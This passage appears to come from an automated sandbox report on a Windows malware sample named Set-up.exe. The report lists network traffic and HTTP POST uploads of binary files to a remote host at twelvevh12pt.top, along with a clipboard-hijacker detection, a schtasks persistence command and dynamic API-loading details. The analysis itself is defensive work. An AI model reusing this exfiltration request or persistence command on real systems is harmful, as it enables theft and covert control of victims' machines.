Sep 28, 2024 00:09:12.881803036 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.881851912 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.881860018 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.881885052 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.881900072 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.881912947 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.881942034 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.881951094 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.881990910 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.882019043 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.882038116 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.882046938 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.882066011 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.882074118 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.882092953 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.882102013 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.882122993 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.882158995 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.886945963 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.887003899 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.887624025 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.887680054 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.887866974 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.887893915 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.887922049 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.887923002 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.887943029 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.887969971 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.887970924 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.887995958 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.888020039 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.888031960 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.931732893 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.931853056 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.983730078 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.983783960 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:13.035759926 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:13.035823107 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:13.083875895 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:13.083941936 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:13.135771036 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:13.371515036 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:13.958046913 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:13.958233118 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:13.958365917 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:13.958431005 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:13.958625078 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:13.958683968 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:13.963378906 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.152173996 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.161010027 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.161155939 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.162060976 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.162157059 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.169024944 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169126034 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.169198036 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169228077 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169255972 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169281960 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169281960 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.169313908 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.169320107 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169348001 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169348955 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.169373989 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.169393063 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.169395924 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169444084 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.169447899 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.169492960 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.173892975 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.174431086 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.174458027 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.174485922 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.174535036 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.174562931 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.174591064 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:17.212182999 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:17.218384981 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:18.000324011 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:18.000819921 CEST	80	49733	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:18.000992060 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:18.008359909 CEST	49733	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:18.013286114 CEST	80	49733	185.244.181.140	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2024 00:09:08.091965914 CEST	56988	53	192.168.2.4	1.1.1.1
Sep 28, 2024 00:09:08.675534964 CEST	53	56988	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 28, 2024 00:09:08.091965914 CEST	192.168.2.4	1.1.1.1	0xce69	Standard query (0)	twelvevh12pt.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 28, 2024 00:09:08.675534964 CEST	1.1.1.1	192.168.2.4	0xce69	No error (0)	twelvevh12pt.top		185.244.181.140	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

twelvevh12pt.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.244.181.140	80	7328	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Sep 28, 2024 00:09:08.686074972 CEST	335	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary54044084 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 413 Host: twelvevh12pt.top
Sep 28, 2024 00:09:08.686099052 CEST	413	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 35 34 30 34 34 30 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 69 63 Data Ascii: ------Boundary54044084Content-Disposition: form-data; name="file"; filename="Gicabaner.bin"Content-Type: application/octet-streamxU3]"l\oJ_oAlD>TMe`ObRsF?Cw`ng@}<Qpaf#$5' 2&ER
Sep 28, 2024 00:09:09.373891115 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri, 27 Sep 2024 22:09:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.244.181.140	80	7328	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Sep 28, 2024 00:09:12.875874043 CEST	337	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary53892879 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 89642 Host: twelvevh12pt.top
Sep 28, 2024 00:09:12.875936985 CEST	11124	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 35 33 38 39 32 38 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 73 Data Ascii: ------Boundary53892879Content-Disposition: form-data; name="file"; filename="Wesiyo.bin"Content-Type: application/octet-streamj-`CWQC6;Ua8@A=~u5WdKvQvMnM>boY10<}THw2XnRK5NTb
Sep 28, 2024 00:09:12.881860018 CEST	1236	OUT	Data Raw: be 74 95 cf 67 1a d8 42 57 49 1b a9 c1 77 36 53 ce 3b 93 bb 40 a0 6e 85 80 55 25 3e 41 a9 28 0a 0a 33 b7 c0 71 86 b4 d9 53 62 10 ac be 5c 35 0b 62 04 fd 6d 47 a3 1c 59 6e 72 db 8c 22 4e 27 7d 0c f2 c4 5b 92 21 11 97 59 b2 bf ae e8 8a b6 cc a0 4e Data Ascii: tgBWIw6S;@nU%>A(3qSb\5bmGYnr"N'}[!YNk!r(QiU!T}9X}a Y)1\paWc_`)F6NT\|H,oY2nz44EL>@!;X3Y.q2eJ_5#fF+nS?
Sep 28, 2024 00:09:12.881900072 CEST	2472	OUT	Data Raw: 4e 55 ad 71 e2 37 60 e8 73 f4 8f b4 64 4a e4 06 97 09 39 68 1b 7f 78 94 fd 87 94 c5 6c bb a0 ea b4 9e 90 bb 36 a6 81 88 1f 6b fa 21 a2 81 0c c2 cf b6 98 75 fe c8 f0 68 43 58 6d 6a b8 fe cf 30 fa 22 b9 ec 6f 22 c9 a8 16 a4 d3 87 93 2d 6d 12 15 47 Data Ascii: NUq7`sdJ9hxl6k!uhCXmj0"o"-mG<N4_N18(7uD^WuyQX{Swe*E]Pg.\9t`#M(%h`TaI"tdc}kh'BJnZIttXeSAM{)9X]J_$l
Sep 28, 2024 00:09:12.881942034 CEST	2472	OUT	Data Raw: c1 0b 05 91 9f 11 f5 15 ef 65 f2 94 fe 89 c1 8e d3 11 7a f7 52 28 bb 8c cd 23 6d ca 90 98 8e 81 13 54 0e 4c b0 04 a1 b6 c0 67 91 89 54 0f ce ac 74 5a 41 d2 9a c9 cf 9b 8f 1e cd 3a ed e6 a3 d9 f4 e5 ec 1c 56 bc b5 ad 4c e6 53 8e 34 77 f1 dd 84 c5 Data Ascii: ezR(#mTLgTtZA:VLS4wYu}mA$nsp{_AAK"4\|]+JR\s&&XN<(jSF!5Zg%l+'<P4%a~OoLMXek+U%<.I,6
Sep 28, 2024 00:09:12.881951094 CEST	2472	OUT	Data Raw: fa bc cc c1 e5 48 76 10 45 4f 3c 5d 91 48 fe 1b 6b 14 aa 68 be 29 e3 28 b2 d4 e1 e7 08 1a 33 52 35 9d d7 5d 0a 95 68 50 e6 15 80 91 c3 f1 11 62 dd ec 5a da 84 02 9a c8 a1 d8 f1 06 e9 51 2e 06 d7 40 0b 28 ea 47 a5 5e 47 5b fa 08 00 14 a9 00 ca d6 Data Ascii: HvEO<]Hkh)(3R5]hPbZQ.@(G^G[6~u9Gc:czMtTMalH/g8S.W?U=SD[vfU2^X;pYNL{*3-"CKO,I&T;.i44Fr%/
Sep 28, 2024 00:09:12.882038116 CEST	2472	OUT	Data Raw: d3 f0 a5 76 b4 6e 9f 4b 79 9d 1b 75 da ad dc 32 25 c4 b2 1c 56 9f dd ac 93 1c 3c 77 2e 38 ed f7 f2 3d d4 73 44 dc 84 03 01 dc fa e4 74 0b f8 70 da 21 a6 8c a0 e2 fc 1b 9c cd 21 8e fa f5 b0 db 13 15 9f d5 d9 13 5b b9 10 28 55 ca 87 d4 df d9 15 7c Data Ascii: vnKyu2%V<w.8=sDtp!![(U\|&Y6\|)_\7/Wf#;TtzOI]NV@F@0 3(~;nVw&(U^[$[L12XxFu[SIA,k8k-h+N]@CMT,Z*oK5_p
Sep 28, 2024 00:09:12.882066011 CEST	2472	OUT	Data Raw: f7 85 cd 75 dd 8e 8d 0a 8f 61 44 92 77 ce b6 0e 8a 76 e1 3d 5d 56 40 7b b3 66 04 a0 2c 5f 0b e9 98 96 d5 64 7c 43 21 ed f9 f8 27 80 d6 74 a0 aa a1 f9 25 39 0d ed cb 0d 99 24 89 82 7e 39 7b f6 09 48 fc 3e fb b9 ca 7a 32 4c 9c 53 3f a5 26 89 1e c9 Data Ascii: uaDwv=]V@{f,_d\|C!'t%9$~9{H>z2LS?&h1j:Z1RW~(5K?\|=Y`z<t^G<eZ<5{,v`Gtg!uU6m?4q`skEA*Lz:&l-;
Sep 28, 2024 00:09:12.882092953 CEST	2472	OUT	Data Raw: d6 52 0a fc 36 ee d7 68 8b 95 63 1f 5d 22 bb d4 a7 c6 1e 0b 7a e0 ed da b4 3a 11 e6 38 ea 90 8e 4e 4a af 41 4c a9 3f b0 9d eb 65 c8 64 c1 f6 24 09 d3 07 d2 51 30 96 bf 2a cd de c7 74 a0 63 15 54 c4 57 d6 c1 e6 5a 2f 24 56 2a 51 be 36 1f cb 4c 95 Data Ascii: R6hc]"z:8NJAL?ed$Q0tcTWZ/$VQ6Lm-MUXv"?a QVtrK*/P>Z3ajY1)\|n8GzMC)fuK\k;AOJl}7<Ukt3Q;FEGi~qf
Sep 28, 2024 00:09:12.882122993 CEST	2472	OUT	Data Raw: 83 af 70 25 45 ae d8 50 ec be d2 f7 20 62 6c 00 f4 68 21 89 b9 57 fd ee 7d f3 d3 5f 15 0d f0 8a ab d1 5c 20 d3 25 3a f1 87 79 d3 83 e6 44 63 1c 8e 7f 6e 25 50 23 b7 b8 63 ab 4a 5d eb c6 c8 33 e0 7c 22 b6 2d ed da 67 db cc 04 19 f2 08 44 49 21 a9 Data Ascii: p%EP blh!W}_\ %:yDcn%P#cJ]3\|"-gDI!W+h2b=jE2D4r4qmN-w=os!W[A3n(%V;('_!G+an{)3$h2tY5=a t/$;_g.606IQ
Sep 28, 2024 00:09:12.882158995 CEST	2472	OUT	Data Raw: e2 a4 8f 0d 01 0d dd 07 11 4f 10 a8 0b cb ee 53 0f 52 ed 9d 0c cc c7 64 69 1c 99 82 7f e6 83 98 46 25 fd 49 cf f6 28 f1 2f c9 c7 07 5e 9b 0d 20 7e ec 47 1c 89 e8 10 55 a0 92 5e 25 87 6e 11 dd ad c1 93 c2 0f 86 3f bb fc 2c b2 f5 ca 69 c5 de 95 38 Data Ascii: OSRdiF%I(/^ ~GU^%n?,i8f4y#U?bua\H9S^A_eb$gK\QszvxJ T Rdg$bVr;7_vxTg7#1gxd$qHH;KHdJG\|Cmvy
Sep 28, 2024 00:09:13.958046913 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri, 27 Sep 2024 22:09:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	185.244.181.140	80	7328	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Sep 28, 2024 00:09:17.162060976 CEST	337	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary49242685 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 31921 Host: twelvevh12pt.top
Sep 28, 2024 00:09:17.162157059 CEST	11124	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 34 39 32 34 32 36 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 6f 64 Data Ascii: ------Boundary49242685Content-Disposition: form-data; name="file"; filename="Modipoluk.bin"Content-Type: application/octet-stream/]~M}ir!(2EMT"h[T9m9VPar;JGWY:5NmNYl
Sep 28, 2024 00:09:17.169126034 CEST	1236	OUT	Data Raw: 4c 8e 5d 4b d1 47 8f 21 d4 5e 0d 2e 52 f3 c2 13 f1 55 1a 0f 73 3e 88 8a f9 c5 e6 4f 40 01 b6 fb 76 16 f7 72 3c 7a 8f e0 e2 1f 0c 6b d2 8a 6d f2 2e c3 3c 22 ac 2c 07 55 bd bc d0 b9 5a 72 7b 36 78 72 3a a3 d2 30 db fd d8 2f 31 22 91 96 4c cc 18 3a Data Ascii: L]KG!^.RUs>O@vr<zkm.<",UZr{6xr:0/1"L:1,(t/qlj#v!uDpLF{XKOr^oAQvJU,pc6zav:Ka-&0`aB}*OC>ik'vq\>
Sep 28, 2024 00:09:17.169281960 CEST	4944	OUT	Data Raw: 87 75 5b 05 18 67 4b dc a8 1e 9e 14 d6 3b 00 c9 ae 08 4f dd d5 36 a6 5a 09 12 54 7e 77 bc d0 b0 81 d7 55 c2 3d 69 bf dc 5d 17 d9 9c 4c a0 4e 1c 69 b3 ad 6d 38 75 e3 b5 a3 83 98 26 2f bf a0 80 e6 70 e3 53 c0 e1 ff e7 0c 1b 5c f6 33 c0 7e 4c bb 4e Data Ascii: u[gK;O6ZT~wU=i]LNim8u&/pS\3~LN4Pvb`lujB0l+})p%C2afsv}]I^Y?&9Du(UQ(\|\|8YQ64%%gBOfJTN)VdI/Ce*4
Sep 28, 2024 00:09:17.169313908 CEST	2472	OUT	Data Raw: f0 49 94 1a fb d8 3f fd 2d 2e e0 de 30 87 e9 41 5e 27 5a 88 b3 02 df f8 58 7a 19 2b 57 ce 83 ae 5d 46 cb ac ba ac aa cb 5f d8 43 9e 3e 79 b4 f5 c7 4d 11 01 8f 2b 0e 32 93 47 18 04 43 83 b1 4f e3 29 01 06 65 b2 19 d8 82 b9 6c 08 d9 c8 e7 6c 3e 8e Data Ascii: I?-.0A^'ZXz+W]F_C>yM+2GCO)ell>ZuA(ryUOI*5f=CHE~o ;h@&w5A=x;z@e (TeTbRiUCa_Th'd)Y(tDI\|''RGF!.
Sep 28, 2024 00:09:17.169348955 CEST	2472	OUT	Data Raw: 38 03 6d a2 a7 45 2a ac 45 af 5c 87 68 a6 23 01 50 cc d0 90 36 4d 80 97 46 97 16 21 25 41 b8 46 cd b8 2d b6 37 a4 35 c0 92 34 53 b3 77 95 83 c8 0f d0 3a 4d ab 1f 45 94 5c 08 9c 16 af d2 bd 89 01 1c bd 1b 12 f0 e9 ec 62 8b 7f 43 02 e9 35 26 f8 ab Data Ascii: 8mEE\h#P6MF!%AF-754Sw:ME\bC5&Up8plwdXU)aPfzPP?6@nzQJuRXx%;M[x4sunqR*(ujsfO.FT
Sep 28, 2024 00:09:17.169373989 CEST	2472	OUT	Data Raw: b8 74 0a d8 30 49 f4 97 a5 32 e9 74 c9 e9 7b 42 19 fc b5 7e 80 04 aa 76 eb ae 7b 7d f9 1d d5 09 b5 25 85 6d a0 73 ca 40 d8 20 25 b7 fa d8 2b ca be a8 d3 c8 1b 27 a5 a4 a1 36 6e b3 3f e1 63 2d da 7a 59 a5 ee 8d a5 6c 50 77 18 16 f3 f6 31 06 c5 c8 Data Ascii: t0I2t{B~v{}%ms@ %+'6n?c-zYlPw1^"Hq,Y[rdVzSx~WTLNr'0VwiY{?To.CJJM0tTp]u4hJO)?g:`
Sep 28, 2024 00:09:17.169393063 CEST	2472	OUT	Data Raw: 7e 2e 20 82 16 11 ee f4 d1 bb 3a a2 58 aa 65 86 d4 2a 1b 92 c5 09 e3 0f 46 c4 40 d0 c0 18 24 92 de df 73 12 7c 4e 9c e1 f7 27 62 73 3b a5 2c fa 79 57 36 04 2f 94 7a 11 5b f7 2f 59 9c 38 cd 3c 3c 83 20 1a 14 b8 c8 9b 64 59 3a 72 7e 7e e8 f6 b6 0e Data Ascii: ~. :Xe*F@$s\|N'bs;,yW6/z[/Y8<< dY:r~~E-XUqF\Gy:Vlx&RfH.{c&&F{rZxE$v`1LVonV<,QCLu$NIh'Z&C\|n!D;=<s+&=NgoKB\|
Sep 28, 2024 00:09:17.169444084 CEST	2472	OUT	Data Raw: ac a1 de a2 50 5f ed b6 db a6 2b 32 88 45 11 3c ae d0 c3 99 bf 90 08 42 01 64 af cd 97 2e ec 30 2f 8c e0 08 b8 bd b7 a4 18 35 60 cf fe e8 56 b6 fb 5c 75 d7 8b 66 ab 7f 5f 4c cd 6c d4 3d 20 02 e2 b1 23 78 0a 92 cb 37 19 b3 de de 66 68 6e 83 c9 2e Data Ascii: P_+2E<Bd.0/5`V\uf_Ll= #x7fhn.we-lzAe^WS73R^n\(RDfK}UTRX-z=fyv9o!_7Z&G>V$!Pj>0q#:5UO`8n7DCo
Sep 28, 2024 00:09:17.169492960 CEST	2257	OUT	Data Raw: 28 b5 48 89 ce 3a 66 c3 d0 e3 cc 42 a5 fe 38 16 08 88 37 ba 62 79 50 b5 30 7e e1 95 f2 93 6f 38 9d f0 47 68 6e 6f a6 5d ab 9d 8d 9b 81 27 b8 83 d5 d5 b4 b5 35 7c 4d b8 f2 fe cc c8 fd 51 ee b6 20 88 ae 98 16 e4 f0 be c9 f3 be fc 8b d2 6a 0a e5 63 Data Ascii: (H:fB87byP0~o8Ghno]'5\|MQ jcTV$n.JrQV}d<^>2+o,f:~FM;H3R]W&W-'jVEx{U=jdPr2_YuY=-W'</Rh?
Sep 28, 2024 00:09:17.212182999 CEST	1236	OUT	Data Raw: 8c e2 b1 7d 68 7c 5f b7 4d 69 d6 96 82 67 aa 98 43 b4 7a 9a 28 53 80 cf e5 1c a0 b2 11 a1 ab 84 36 a6 9e e7 6d 40 25 1e e6 7d ec fb 88 a7 dc dc 9a 8a 4b 01 9e 74 86 81 f9 df ea e7 7c 5c 30 29 f4 43 ec 82 b3 34 83 dd 48 83 69 55 17 8e a3 56 15 af Data Ascii: }h\|_MigCz(S6m@%}Kt\|\0)C4HiUVV8f2;=[gbR`KU+.h\|s8QC7R9 x=& ]5hT=-lHByGr+;.s,~+d8yHR$Fx8R!
Sep 28, 2024 00:09:18.000324011 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri, 27 Sep 2024 22:09:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Target ID:	0
Start time:	18:08:58
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-up.exe"
Imagebase:	0x400000
File size:	6'614'719 bytes
MD5 hash:	FF8B81C5BDBB09987A4ED216AE0010C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker_5, Description: Yara detected Clipboard Hijacker, Source: 00000000.00000003.2245373256.0000000003E34000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:09:58
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\service123.exe"
Imagebase:	0x4b0000
File size:	314'613'760 bytes
MD5 hash:	62CC0B5676AC91389084FEE3D683DC68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	18:09:58
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Imagebase:	0x130000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:09:59
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:10:01
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x4b0000
File size:	314'613'760 bytes
MD5 hash:	62CC0B5676AC91389084FEE3D683DC68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:11:01
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x4b0000
File size:	314'613'760 bytes
MD5 hash:	62CC0B5676AC91389084FEE3D683DC68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	42.6%
Total number of Nodes:	108
Total number of Limit Nodes:	3

Executed Functions

Function 004B8320 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,004B1396,-00000004,?,00006FDA,004B1396), ref: 004B83C5
GetProcAddress.KERNEL32 ref: 004B83DF
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,004B1396,-00000004,?,00006FDA,004B1396), ref: 004B83F1

Strings

KbiE, xrefs: 004B83A9
Failed to get function address. Error code: %d, xrefs: 004B8434
cqQv, xrefs: 004B83A2
.dll, xrefs: 004B83B7
FMzY, xrefs: 004B839B
UyBC, xrefs: 004B83B0
ZTuotxyLeWtuYWRIUsNH, xrefs: 004B83D2
ehMl, xrefs: 004B8398

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
